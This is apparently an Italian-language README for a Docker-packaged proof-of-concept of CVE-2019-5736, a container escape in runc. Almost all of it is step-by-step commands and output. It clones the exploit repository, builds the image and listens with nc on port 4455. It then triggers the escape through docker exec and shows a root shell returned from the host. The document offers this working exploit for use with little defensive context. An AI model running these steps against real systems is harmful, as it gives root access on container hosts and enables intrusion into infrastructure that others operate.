
Proof-of-concept exploit per CVE-2019-5736, una vulnerabilità di fuga dal container in runc, che consente l'accesso alla shell dell'host tramite la rottura del container Docker.
Una versione dell'exploit del seguente repository resa eseguibile come immagine Docker.
$ git clone https://github.com/k-onishi/CVE-2019-5736-PoC
$ cd CVE-2019-5736-PoC
$ make
$ sudo docker build -t poc .
Esecuzione del container e ascolto sulla porta lato host.
# terminal 1
$ sudo docker run poc
# terminal 2
$ nc -lvp 4455
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::4455
Ncat: Listening on 0.0.0.0:4455
Esecuzione di runc.
# terminal 3
$ sudo docker ps --format {{.Names}}
modest_lalande
docker exec -it modest_lalande /bin/sh
La shell viene restituita a nc.
# terminal 2
$ nc -lvp 4455
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::4455
Ncat: Listening on 0.0.0.0:4455
sh: このシェルではジョブ制御が無効になっています
sh-4.2#
$ uname -a
Linux CVE-2019-5736-CentOS 3.10.0-862.14.4.el7.x86_64 #1 SMP Wed Sep 26 15:12:11 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
$ sudo cat /etc/redhat-release
CentOS Linux release 7.5.1804 (Core)
